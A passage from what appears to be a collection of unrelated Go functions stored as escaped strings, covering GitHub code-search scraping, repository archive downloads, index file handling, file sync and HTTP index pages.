*http.Client, results *[]RepoSearchResult, resultSet map[string]bool) (err error) {\n\tbase := \"\"\n\tif GetFlags().GithubRepo {\n\t\tbase = \"https://github.com/\" + query + \"/search\"\n\t} else {\n\t\tbase = \"https://github.com/search\"\n\t}\n\tpage, pages := 0, 1\n\tvar delay = 5\n\torders := []string{\"asc\"}\n\trankings := []string{\"indexed\"}\n\tfor i := 0; i < len(orders); i++ {\n\t\tfor j := 0; j < len(rankings); j++ {\n\t\t\tif i == 1 && j == 1 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfor page < pages {\n\t\t\t\tstr := ConstructSearchURL(base, query, options)\n\t\t\t\t// fmt.Println(str)\n\t\t\t\tresponse, err := client.Get(str)\n\t\t\t\t// fmt.Println(response.StatusCode)\n\t\t\t\t// fmt.Println(err)\n\t\t\t\tif err != nil {\n\t\t\t\t\tif response != nil {\n\t\t\t\t\t\t// fmt.Println(response.StatusCode)\n\t\t\t\t\t\tif response.StatusCode == 403 {\n\t\t\t\t\t\t\tresponse.Body.Close()\n\t\t\t\t\t\t\tdelay += 5\n\t\t\t\t\t\t\tcolor.Yellow(\"[!] Rate limited by GitHub. Waiting \" + strconv.Itoa(delay) + \"s...\")\n\t\t\t\t\t\t\ttime.Sleep(time.Duration(delay) * time.Second)\n\t\t\t\t\t\t} else if response.StatusCode == 503 {\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Println(err)\n\t\t\t\t\t}\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif delay > 10 {\n\t\t\t\t\tdelay--\n\t\t\t\t}\n\t\t\t\tresponseData, err := ioutil.ReadAll(response.Body)\n\t\t\t\tresponseStr := string(responseData)\n\t\t\t\t// fmt.Println(responseStr)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t}\n\t\t\t\tresponse.Body.Close()\n\t\t\t\tresultRegex := regexp.MustCompile(\"href=\\\"\\\\/((.*)\\\\/blob\\\\/([0-9a-f]{40}\\\\/([^#\\\"]+)))\\\">\")\n\t\t\t\tmatches := resultRegex.FindAllStringSubmatch(responseStr, -1)\n\t\t\t\tif page == 0 {\n\t\t\t\t\tif len(matches) == 0 {\n\t\t\t\t\t\tresultRegex = regexp.MustCompile(\"(?s)react-app\\\\.embeddedData\\\">(.*?)<\\\\/script>\")\n\t\t\t\t\t\tmatch := resultRegex.FindStringSubmatch(responseStr)\n\t\t\t\t\t\tvar resultPayload NewSearchPayload\n\t\t\t\t\t\t\n\t\t\t\t\t\tif len(match) == 0 {\n\t\t\t\t\t\t\tpage++\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t\tjson.Unmarshal([]byte(match[1]), &resultPayload)\n\t\t\t\t\t\tif !GetFlags().ResultsOnly && !GetFlags().JsonOutput {\n\t\t\t\t\t\t\tif pages != resultPayload.Payload.PageCount {\n\t\t\t\t\t\t\t\tcolor.Cyan(\"[*] Searching \" + strconv.Itoa(resultPayload.Payload.PageCount) + \" pages of results for '\" + query + \"'...\")\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tpages = resultPayload.Payload.PageCount\n\t\t\t\t\t} else {\n\t\t\t\t\t\tregex := regexp.MustCompile(\"\\\\bdata\\\\-total\\\\-pages\\\\=\\\"(\\\\d+)\\\"\")\n\t\t\t\t\t\tmatch := regex.FindStringSubmatch(responseStr)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif len(match) == 2 {\n\t\t\t\t\t\t\tnewPages, err := strconv.Atoi(match[1])\n\t\t\t\t\t\t\tif err == nil {\n\t\t\t\t\t\t\t\tif newPages > GetFlags().Pages {\n\t\t\t\t\t\t\t\t\tnewPages = GetFlags().Pages\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tpages = newPages\n\t\t\t\t\t\t\t\tif pages > 99 && GetFlags().ManyResults {\n\t\t\t\t\t\t\t\t\tif !GetFlags().ResultsOnly && !GetFlags().JsonOutput {\n\t\t\t\t\t\t\t\t\t\tcolor.Cyan(\"[*] Searching 100+ pages of results for '\" + query + \"'...\")\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\torders = append(orders, \"desc\")\n\t\t\t\t\t\t\t\t\trankings = append(orders, \"\")\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tif !GetFlags().ResultsOnly && !GetFlags().JsonOutput {\n\t\t\t\t\t\t\t\t\t\tcolor.Cyan(\"[*] Searching \" + strconv.Itoa(pages) + \" pages of results for '\" + query + \"'...\")\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tcolor.Red(\"[!] An error occurred while parsing the page count.\")\n\t\t\t\t\t\t\t\tfmt.Println(err)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif strings.Index(responseStr, \"Sign in to GitHub\") > -1 {\n\t\t\t\t\t\t\t\tcolor.Red(\"[!] Unable to log into GitHub.\")\n\t\t\t\t\t\t\t\tlog.Fatal()\n\t\t\t\t\t\t\t} else if len(matches) > 0 {\n\t\t\t\t\t\t\t\tif !GetFlags().ResultsOnly {\n\t\t\t\t\t\t\t\t\tcolor.Cyan(\"[*] Searching 1 page of results for '\" + query + \"'...\")\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tpage++\n\t\t\t\tif len(matches) == 0 {\n\t\t\t\t\tresultRegex = regexp.MustCompile(\"(?s)react-app\\\\.embeddedData\\\">(.*?)<\\\\/script>\")\n\t\t\t\t\tmatch := resultRegex.FindStringSubmatch(responseStr)\n\t\t\t\t\tvar resultPayload NewSearchPayload\n\t\t\t\t\tif len(match) > 0 {\n\t\t\t\t\t\t// fmt.Println(match[1]/)\n\t\t\t\t\t\t// fmt.Println(match[1])\n\t\t\t\t\t\tjson.Unmarshal([]byte(match[1]), &resultPayload)\n\t\t\t\t\t\tfor _, result := range resultPayload.Payload.Results {\n\t\t\t\t\t\t\tif resultSet[(result.RepoName+result.Path)] == true {\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif result.RepoName == \"\" {\n\t\t\t\t\t\t\t\tresult.RepoName = result.RepoNwo\n\t\t\t\t\t\t\t}\t\n\t\t\t\t\t\t\tresultSet[(result.RepoName + result.Path)] = true\n\t\t\t\t\t\t\tSearchWaitGroup.Add(1)\n\t\t\t\t\t\t\tgo ScanAndPrintResult(client, RepoSearchResult{\n\t\t\t\t\t\t\t\tRepo: result.RepoName,\n\t\t\t\t\t\t\t\tFile: result.Path,\n\t\t\t\t\t\t\t\tRaw: result.RepoName + \"/\" + result.CommitSha + \"/\" + result.Path,\n\t\t\t\t\t\t\t\tSource: \"repo\",\n\t\t\t\t\t\t\t\tQuery: query,\n\t\t\t\t\t\t\t\tURL: \"https://github.com/\" + result.RepoName + \"/blob/\" + result.CommitSha + \"/\" + result.Path,\n\t\t\t\t\t\t\t})\t\n\t\t\t\t\t\t\t// fmt.Println(result.RepoName + \"/\" + result.DefaultBranch + \"/\" + result.Path)\n\t\t\t\t\t\t}\t\n\t\t\t\t\t}\n\t\t\t\t} \n\t\t\t\toptions.Page = (page + 1)\n\t\t\t}\n\n\t\t}\n\t}\n\treturn nil\n}", "func newFileRepositoryIndex(ctxt context.Context, repoName string) (*fileRepositoryIndex, error) {\n\n\tindex := &fileRepositoryIndex{}\n\n\tindex.repoName = repoName\n\n\tindex.repoDir = filepath.Join(file.RepositoriesDirPath(ctxt), repoName)\n\n\tindex.path = filepath.Join(index.repoDir, file.IndexFileName)\n\n\tif !file.DirExists(index.repoDir) {\n\t\treturn nil, errors.NotFound.Newf(\"repository directory at %s does not exist\",\n\t\t\tindex.repoDir)\n\t}\n\n\treturn index, nil\n\n}", "func download(p int, repos []*github.Repository) []string {\n\tLogIfVerbose(\"Downloading %d number of repos with %d parallel threads.\\n\", len(repos), p)\n\tsema := make(chan struct{}, p)\n\tarchiveList := make([]string, 0)\n\tvar wg sync.WaitGroup\n\tclient := NewClient()\n\tfor _, r := range repos {\n\t\twg.Add(1)\n\t\tgo func(repo *github.Repository) {\n\t\t\tdefer wg.Done()\n\t\t\tsema <- struct{}{}\n\t\t\tdefer func() { <-sema }()\n\t\t\tLogIfVerbose(\"Downloading archive for repository: %s\\n\", *repo.URL)\n\t\t\tdownloadURL := \"https://github.com/\" + repo.GetOwner().GetLogin() + \"/\" + repo.GetName() + \"/archive/master.zip\"\n\t\t\tarchiveName := repo.GetName() + \".zip\"\n\t\t\tout, err := os.Create(archiveName)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"failed downloading repo: \", repo.GetName())\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer out.Close()\n\t\t\tLogIfVerbose(\"Started downloading archive for: %s\\n\", downloadURL)\n\t\t\tresp, err := client.client.Get(downloadURL)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"failed to get zip archive for repo: \", repo.GetName())\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer resp.Body.Close()\n\t\t\tif resp.StatusCode != http.StatusOK {\n\t\t\t\tlog.Println(\"status was not 200: \", resp.Status)\n\t\t\t}\n\t\t\t_, _ = io.Copy(out, resp.Body)\n\t\t\tarchiveList = append(archiveList, archiveName)\n\t\t}(r)\n\t}\n\twg.Wait()\n\treturn archiveList\n}", "func (s *Store) RetrieveAccountsIndex(walletID uuid.UUID) ([]byte, error) {\n\tpath := s.walletIndexPath(walletID)\n\tdata, err := os.ReadFile(path)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to read wallet index\")\n\t}\n\t// Do not decrypt empty index.\n\tif len(data) == 2 {\n\t\treturn data, nil\n\t}\n\n\treturn s.decryptIfRequired(data)\n}", "func GetIndex(w http.ResponseWriter, req *http.Request, app *App) {\n\tscheme := \"http\"\n\tif req.TLS != nil {\n\t\tscheme = \"https\"\n\t}\n\tbase := []string{scheme, \"://\", req.Host, app.Config.General.Prefix}\n\trender(w, \"index\", map[string]interface{}{\"base\": strings.Join(base, \"\"), \"hideNav\": true}, app)\n}", "func (s *service) indexCore(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\treq := &indexRequest{\n\t\tindex: s.index,\n\t\tlog: s.logger,\n\t\tr: r,\n\t\tstore: s.store,\n\t}\n\treq.init()\n\treq.read()\n\treq.readCore()\n\tif req.req.IncludeExecutable {\n\t\treq.readExecutable()\n\t} else {\n\t\treq.computeExecutableSize()\n\t}\n\treq.indexCore()\n\treq.close()\n\n\tif req.err != nil {\n\t\ts.logger.Error(\"indexing\", \"uid\", req.uid, \"err\", req.err)\n\t\twriteError(w, http.StatusInternalServerError, req.err)\n\t\treturn\n\t}\n\n\ts.received.With(prometheus.Labels{\n\t\t\"hostname\": req.coredump.Hostname,\n\t\t\"executable\": req.coredump.Executable,\n\t}).Inc()\n\n\ts.receivedSizes.With(prometheus.Labels{\n\t\t\"hostname\": req.coredump.Hostname,\n\t\t\"executable\": req.coredump.Executable,\n\t}).Observe(datasize.ByteSize(req.coredump.Size).MBytes())\n\n\ts.analysisQueue <- req.coredump\n\n\twrite(w, http.StatusOK, map[string]interface{}{\"acknowledged\": true})\n}", "func cloneRepository(url, dir string) {\n\tfmtc.Printf(\"Fetching index from {*}%s{!}…\\n\", url)\n\n\ti, err := fetchIndex(url)\n\n\tif err != nil {\n\t\tprintErrorAndExit(err.Error())\n\t}\n\n\tif i.Meta.Items == 0 {\n\t\tprintErrorAndExit(\"Repository is empty\")\n\t}\n\n\tprintRepositoryInfo(i)\n\n\tuuid := getCurrentIndexUUID(dir)\n\n\tif uuid == i.UUID {\n\t\tfmtc.Println(\"{g}Looks like you already have the same set of data{!}\")\n\t\treturn\n\t}\n\n\tif !options.GetB(OPT_YES) {\n\t\tok, err := terminal.ReadAnswer(\"Clone this repository?\", \"N\")\n\t\tfmtc.NewLine()\n\n\t\tif !ok || err != nil {\n\t\t\tos.Exit(0)\n\t\t}\n\t}\n\n\tdownloadRepositoryData(i, url, dir)\n\tsaveIndex(i, dir)\n\n\tfmtc.NewLine()\n\tfmtc.Printf(\"{g}Repository successfully cloned to {g*}%s{!}\\n\", dir)\n}", "func readtreeSaveIndex(c *Client, opt ReadTreeOptions, i *Index) error {\n\tif !opt.DryRun {\n\t\tif opt.IndexOutput == \"\" {\n\t\t\topt.IndexOutput = \"index\"\n\t\t}\n\t\tf, err := c.GitDir.Create(File(opt.IndexOutput))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer f.Close()\n\t\treturn i.WriteIndex(f)\n\t}\n\treturn nil\n}", "func getLatestIndexInfo(solrUrl string) (SolrIndex, error) {\n\tsolrIndex := SolrIndex{Url: solrUrl}\n\tresponse, err := fetchIndexInfo(solrIndex.Url)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tindexDiscoveryResult, err := parseXmlIndexInfo(response)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tfor _, metadata := range indexDiscoveryResult.Header.Metadata {\n\t\tif metadata.Name == \"status\" && metadata.Value != \"0\" {\n\t\t\tlog.Fatal(\"Error, did not discover Solr Index info as expected: \", err)\n\t\t}\n\t}\n\n\tfor _, descriptor := range indexDiscoveryResult.VersionInfo {\n\t\tswitch descriptor.Name {\n\t\tcase \"indexversion\":\n\t\t\tsolrIndex.Version = descriptor.Value\n\n\t\tcase \"generation\":\n\t\t\tsolrIndex.Generation = descriptor.Value\n\t\t}\n\t}\n\n\treturn solrIndex, nil\n}", "func Index(realms map[string]*cloudformation.Realm, name, repo, dir, description string) j.ObjectType {\n\tfields := []j.Type{\n\t\td.Import(),\n\t\td.Pkg(name, path.Join(repo, dir, \"main.libsonnet\"), description),\n\t}\n\n\tfor _, realm := range realms {\n\t\timp := filepath.Join(GenPrefix, realm.N(\"realm\"), MainFile)\n\t\tfields = append(fields, j.Hidden(j.Import(realm.Name, imp)))\n\t}\n\n\tSortFields(fields)\n\n\treturn j.Object(\"\", fields...)\n}", "func (htd *HTD) getSZMainIndexdata(dateList []interface{}, proxy *httpcontroller.Proxy) map[string]*HTData {\n\tif htd.SZMainIndexFile == \"\" {\n\t\tnow := time.Now().Format(\"20060102\")\n\t\tlink := fmt.Sprintf(HTD_DOWNLOAD_LINK, \"1399001\", now)\n\t\tfile := htd.Folder + \"mainindex/399001/modules/htd/htd.csv\"\n\t\tif err := htd.Doc.HTD_Request(link, file, proxy); err != nil {\n\t\t\tlogger.Errorf(\"Fetch Shen zhen main index data failure, %s\", link)\n\t\t\treturn nil\n\t\t}\n\t\thtd.SZMainIndexFile = file\n\t}\n\treturn htd.getData(dateList, SZ)\n}", "func IndexDirectory(fs afero.Fs, path string, url string, now *time.Time) (*IndexFile, error) {\n\tarchives, err := afero.Glob(fs, filepath.Join(path, \"*.tgz\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(archives) == 0 {\n\t\treturn nil, errors.New(\"no packages discovered\")\n\t}\n\tindex := newIndexFile(now)\n\tops := filesDigest(fs, archives)\n\tpvs := Map(ops, url)\n\tfor _, pv := range pvs {\n\t\terr = index.AddPackageVersion(pv)\n\t\t// on error we report and continue\n\t\tif err != nil {\n\t\t\tfmt.Print(err.Error())\n\t\t}\n\t}\n\tindex.sortPackages()\n\treturn index, nil\n}", "func (e *etcdinterface) getNextIndex() (apis.ServerID, error) {\n\tfor {\n\t\tresp, err := e.Client.Get(context.Background(), \"/server/next-id\")\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tif len(resp.Kvs) > 0 {\n\t\t\tlastId, err := strconv.ParseUint(string(resp.Kvs[0].Value), 10, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tnextId := lastId + 1\n\t\t\tresp, err := e.Client.Txn(context.Background()).\n\t\t\t\tIf(clientv3.Compare(clientv3.Value(\"/server/next-id\"), \"=\", string(resp.Kvs[0].Value))).\n\t\t\t\tThen(clientv3.OpPut(\"/server/next-id\", strconv.FormatUint(uint64(nextId), 10))).\n\t\t\t\tCommit()\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tif resp.Succeeded {\n\t\t\t\treturn apis.ServerID(nextId), nil\n\t\t\t}\n\t\t\t// changed... try again\n\t\t} else {\n\t\t\tresp, err := e.Client.Txn(context.Background()).\n\t\t\t\tIf(clientv3.Compare(clientv3.CreateRevision(\"/server/next-id\"), \"=\", 0)).\n\t\t\t\tThen(clientv3.OpPut(\"/server/next-id\", \"1\")).\n\t\t\t\tCommit()\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tif resp.Succeeded {\n\t\t\t\treturn 1, nil\n\t\t\t}\n\t\t\t// changed... try again\n\t\t}\n\t}\n}", "func ClientSync(client RPCClient) {\n\tfiles, err := ioutil.ReadDir(client.BaseDir)\n\tif err != nil {\n\t\tlog.Print(err)\n\t}\n\tif _,err := os.Stat(client.BaseDir + \"/index.txt\"); os.IsNotExist(err) {\n\t\tf,_ := os.Create(client.BaseDir + \"/index.txt\")\n\t\tf.Close()\n\t}\n\n\t//Getting Local Index\n\tindex_file, err := os.Open(client.BaseDir + \"/index.txt\")\n\treader := bufio.NewReader(index_file)\n\ttemp_FileMetaMap := make(map[string]FileMetaData)\n\n\tfor{\n\t\tvar isPrefix bool\n\t\tvar line string\n\t\tvar l []byte\n\t\tfor {\n\t\t\tl,isPrefix,err = reader.ReadLine()\n\t\t//\tlog.Printf(string(l))\n\t\t\tline = line + string(l)\n\t\t\tif !isPrefix {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif err != nil && err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif line != \"\" {\n\t//\t\tlog.Print(line)\n\t\t\tvar new_File_Meta_Data FileMetaData\n\t\t\tnew_File_Meta_Data = handleIndex(string(line))\n\t\t\ttemp_FileMetaMap[new_File_Meta_Data.Filename] = new_File_Meta_Data\n\t\t}\n\t\tif err == io.EOF{\n\t\t\tbreak\n\t\t}\n\t}\n\tindex_file.Close()\n\t//Getting Remote Index\n\tremote_FileMetaMap := make(map[string]FileMetaData)\n\tvar success bool\n\tclient.GetFileInfoMap(&success, &remote_FileMetaMap)\n\tPrintMetaMap(remote_FileMetaMap)\n\t//Sorting Local Index\n\t//Client, files, \n\t//Handle Deleted Files\n\tHandle_Deleted_File(client, temp_FileMetaMap, files)\n\n\tLocal_Mod_FileMetaMap,Local_new_FileMetaMap,Local_No_Mod_FileMetaMap := CheckForNewChangedFile(client,files, temp_FileMetaMap)\n\tfor index,element := range Local_new_FileMetaMap {\n\t\t//Case 1 : new file was created locally that WAS NOT on the server\n\t//\tlog.Print(\"New File\")\n\t\tif _, ok := remote_FileMetaMap[index]; !ok {\n\t\t\thandleNewFile(client,element)\n\t\t} else {\n\t\t//Case 2: new file was created locally but it WAS on the server\n\t\t\tif Local_new_FileMetaMap[index].Version < remote_FileMetaMap[index].Version {\n\t\t\t\t//Update it to remote version\n\t\t\t\tUpdateLocal(client, remote_FileMetaMap[index])\n\t\t\t} else if Local_new_FileMetaMap[index].Version == remote_FileMetaMap[index].Version {\n\t\t\t\t//Sync changes to the cloud\n\t\t\t\t//Update Remote File\n\t\t\t\tUpdateRemote(client, Local_new_FileMetaMap[index])\n\t\t\t}\n\t\t}\n\t}\n\tfor index,element := range Local_No_Mod_FileMetaMap {\n\t//\tlog.Print(\"No Mod\")\n\t\t//Case 1 : if local no modification file WAS NOT on the server\n\t\tif _, ok := remote_FileMetaMap[index]; !ok {\n\t\t\thandleNewFile(client,element)\n\t\t} else {\n\t\t//Case 2: if Local Modification file WAS on the server\n\t//\t\tlog.Print(\"CLIENT - REMOTE VERSION : \", remote_FileMetaMap[index].Version)\n\t\t\tif Local_No_Mod_FileMetaMap[index].Version < remote_FileMetaMap[index].Version {\n\t\t\t\t//Update it to remote version\n\t\t\t\tUpdateLocal(client, remote_FileMetaMap[index])\n\t\t\t}\n\t\t}\n\t}\n\tfor index,element := range Local_Mod_FileMetaMap {\n\t//\tlog.Print(\"Mod\")\n\t\t//Case 1 : if local modified file WAS NOT on the server\n\t\tif _, ok := remote_FileMetaMap[index]; !ok {\n\t//\t\tlog.Print(\"NOT IN SERVER\")\n\t\t\thandleNewFile(client,element)\n\t\t} else {\n\t\t//Case 2: if Local Modified file WAS on the server\n\t//\t\tlog.Print(\"IN SERVER\")\n\t\t\tif Local_Mod_FileMetaMap[index].Version < remote_FileMetaMap[index].Version {\n\t\t\t\t//Update it to remote version\n\t//\t\t\tlog.Print(\"SERVER VERSION IS HIGHER\")\n\t\t\t\t//Lost the race\n\t\t\t\tUpdateLocal(client, remote_FileMetaMap[index])\n\t\t\t} else if Local_Mod_FileMetaMap[index].Version == remote_FileMetaMap[index].Version {\n\t\t\t\t//Sync changes to the cloud\n\t\t\t\t//Check if file is the same.\n\t\t\t\t//Don't touch if it is\n\t\t\t\t//Update Remote File, version += 1\n\t//\t\t\tlog.Print(\"VERSION ARE EQUAL\")\n\t\t\t\tUpdateRemote(client, Local_Mod_FileMetaMap[index])\n\t\t\t}\n\t\t}\n\t}\n\t// Need to handle file that's in remote, but not in local.\n\t// Above accounts for all the updates, no changes and new file\n\tclient.GetFileInfoMap(&success, &remote_FileMetaMap)\n\n\tfor _,element := range remote_FileMetaMap {\n\t\tUpdateLocal(client, element)\n\t}\n\tPrintMetaMap(remote_FileMetaMap)\n\tUpdateIndex(client,remote_FileMetaMap)\n\t//Check for deleted files\n\treturn\n}", "func GetIndex(url string) (d string, e error) {\n\tvar (\n\t\tconfig ConfigFile\n\t\terr error\n\t)\n\tconfig, err = GetConfig()\n\tif err != nil {\n\t\treturn \"\", errors.New(\"cant find config file\")\n\t}\n\td = MakeData(config.Menu, url, false)\n\tif len(config.Tags) > 0 {\n\t\tt := MakeData(config.Tags, url, true)\n\t\td = strings.Join([]string{\"\", t}, d)\n\t}\n\treturn d, nil\n}", "func index() string {\n\tvar buffer bytes.Buffer\n\tvar id = 0\n\tvar class = 0\n\tbuffer.WriteString(indexTemplate)\n\tlock.Lock()\n\tfor folderName, folder := range folders {\n\t\tbuffer.WriteString(fmt.Sprintf(\"<h2>%s</h2>\", folderName))\n\t\tfor _, source := range folder {\n\t\t\tif !anyNonRead(source) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tsort.Sort(source)\n\t\t\tbuffer.WriteString(fmt.Sprintf(\"<h3>%s</h3>\", source.Title))\n\t\t\tbuffer.WriteString(fmt.Sprintf(`<button onClick=\"hideAll('source_%d'); return false\">Mark all as read</button>`, class))\n\t\t\tbuffer.WriteString(\"<ul>\")\n\n\t\t\tfor _, entry := range source.Entries {\n\t\t\t\tif entry.Read {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tbuffer.WriteString(fmt.Sprintf(`<li id=\"entry_%d\">`, id))\n\t\t\t\tbuffer.WriteString(fmt.Sprintf(`<button class=\"source_%d\" onClick=\"hide('entry_%d', '%s'); return false\">Mark Read</button> `, class, id, entry.Url))\n\t\t\t\tbuffer.WriteString(fmt.Sprintf(`<a href=\"%s\">%s</a>`, entry.Url, entry.Title))\n\t\t\t\tbuffer.WriteString(\"</li>\")\n\t\t\t\tid += 1\n\t\t\t}\n\t\t\tbuffer.WriteString(\"</ul>\")\n\t\t\tclass += 1\n\t\t}\n\t}\n\tlock.Unlock()\n\tbuffer.WriteString(\"</body></html>\")\n\treturn buffer.String()\n}", "func index(pkg *pkg) error {\n\n\t// ensure dependencies are indexed\n\tfor _, dependency := range pkg.Dependencies {\n\t\tif _, ok := indexRead(dependency); !ok {\n\t\t\treturn missingDependencies\n\t\t}\n\t}\n\n\t// if this index already exists we need to just update dependencies\n\texistingPkg, ok := indexRead(pkg.Name)\n\tif ok {\n\t\treturn updateDependents(existingPkg, pkg)\n\t}\n\n\t// update any dependants of this package\n\tupdateDependents(nil, pkg)\n\n\t// add the new index (possibly replacing the old)\n\tindexWrite(pkg.Name, pkg)\n\n\treturn nil\n}", "func saveIndex(repoIndex *index.Index, dir string) {\n\tindexPath := path.Join(dir, INDEX_NAME)\n\n\tfmtc.Printf(\"Saving index… \")\n\n\terr := jsonutil.Write(indexPath, repoIndex)\n\n\tif err != nil {\n\t\tfmtc.Println(\"{r}ERROR{!}\")\n\t\tprintErrorAndExit(\"Can't save index as %s: %v\", indexPath, err)\n\t}\n\n\tfmtc.Println(\"{g}DONE{!}\")\n}", "func ForAllIndexes(ctx context.Context, repo restic.Repository,\n\tfn func(id restic.ID, index *Index, oldFormat bool, err error) error) error {\n\n\tdebug.Log(\"Start\")\n\n\ttype FileInfo struct {\n\t\trestic.ID\n\t\tSize int64\n\t}\n\n\tvar m sync.Mutex\n\n\t// track spawned goroutines using wg, create a new context which is\n\t// cancelled as soon as an error occurs.\n\twg, ctx := errgroup.WithContext(ctx)\n\n\tch := make(chan FileInfo)\n\t// send list of index files through ch, which is closed afterwards\n\twg.Go(func() error {\n\t\tdefer close(ch)\n\t\treturn repo.List(ctx, restic.IndexFile, func(id restic.ID, size int64) error {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn nil\n\t\t\tcase ch <- FileInfo{id, size}:\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t})\n\n\t// a worker receives an index ID from ch, loads the index, and sends it to indexCh\n\tworker := func() error {\n\t\tvar buf []byte\n\t\tfor fi := range ch {\n\t\t\tdebug.Log(\"worker got file %v\", fi.ID.Str())\n\t\t\tvar err error\n\t\t\tvar idx *Index\n\t\t\toldFormat := false\n\n\t\t\tbuf, err = repo.LoadAndDecrypt(ctx, buf[:0], restic.IndexFile, fi.ID)\n\t\t\tif err == nil {\n\t\t\t\tidx, oldFormat, err = DecodeIndex(buf, fi.ID)\n\t\t\t}\n\n\t\t\tm.Lock()\n\t\t\terr = fn(fi.ID, idx, oldFormat, err)\n\t\t\tm.Unlock()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\t// run workers on ch\n\twg.Go(func() error {\n\t\treturn RunWorkers(loadIndexParallelism, worker)\n\t})\n\n\treturn wg.Wait()\n}", "func (idx Resource) GetIndex(w http.ResponseWriter, r *http.Request) {\n\tidx.logger.Info(\"Hitting the index page\")\n\n\tsess, _ := idx.store.GetSession(r)\n\n\tidx.logger.Infof(\"Returning user is %v\", sess.Values[\"user\"])\n\terr := idx.templateList.Public.ExecuteWriter(nil, w)\n\tif err != nil {\n\t\tidx.logger.Info(\"Failed to serve the index page\")\n\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError),\n\t\t\thttp.StatusInternalServerError)\n\t}\n}", "func (s *Server) getIndexes(w http.ResponseWriter, r *http.Request) {\n\tfs, err := s.db.List(\"file\")\n\tif err != nil {\n\t\ts.logf(\"error listing files from mpd for building indexes: %v\", err)\n\t\twriteXML(w, errGeneric)\n\t\treturn\n\t}\n\tfiles := indexFiles(fs)\n\n\twriteXML(w, func(c *container) {\n\t\tc.Indexes = &indexesContainer{\n\t\t\tLastModified: time.Now().Unix(),\n\t\t}\n\n\t\t// Incremented whenever it's time to create a new index for a new\n\t\t// initial letter\n\t\tidx := -1\n\n\t\tvar indexes []index\n\n\t\t// A set of initial characters, used to deduplicate the addition of\n\t\t// nwe indexes\n\t\tseenChars := make(map[rune]struct{}, 0)\n\n\t\tfor _, f := range files {\n\t\t\t// Filter any non-top level items\n\t\t\tif strings.Contains(f.Name, string(os.PathSeparator)) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Initial rune is used to create an index name\n\t\t\tc, _ := utf8.DecodeRuneInString(f.Name)\n\t\t\tname := string(c)\n\n\t\t\t// If initial rune is a digit, put index under a numeric section\n\t\t\tif unicode.IsDigit(c) {\n\t\t\t\tc = '#'\n\t\t\t\tname = \"#\"\n\t\t\t}\n\n\t\t\t// If a new rune appears, create a new index for it\n\t\t\tif _, ok := seenChars[c]; !ok {\n\t\t\t\tseenChars[c] = struct{}{}\n\t\t\t\tindexes = append(indexes, index{Name: name})\n\t\t\t\tidx++\n\t\t\t}\n\n\t\t\tindexes[idx].Artists = append(indexes[idx].Artists, artist{\n\t\t\t\tName: f.Name,\n\t\t\t\tID: strconv.Itoa(f.ID),\n\t\t\t})\n\t\t}\n\n\t\tc.Indexes.Indexes = indexes\n\t})\n}", "func (as *ArtworkService) Index(opts ...Option) ([]*Artwork, error) {\n\tvar art []*Artwork\n\n\terr := as.client.post(as.end, &art, opts...)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"cannot get index of Artworks\")\n\t}\n\n\treturn art, nil\n}", "func (htd *HTD) getSHMainIndexdata(dateList []interface{}, proxy *httpcontroller.Proxy) map[string]*HTData {\n\tif htd.SHMainIndexFile == \"\" {\n\t\tnow := time.Now().Format(\"20060102\")\n\t\tlink := fmt.Sprintf(HTD_DOWNLOAD_LINK, \"0000001\", now)\n\t\tfile := htd.Folder + \"mainindex/000001/modules/htd/htd.csv\"\n\t\tif err := htd.Doc.HTD_Request(link, file, proxy); err != nil {\n\t\t\tlogger.Errorf(\"Fetch Shang hai main index data failure, %s\", link)\n\t\t\treturn nil\n\t\t}\n\t\thtd.SHMainIndexFile = file\n\t}\n\treturn 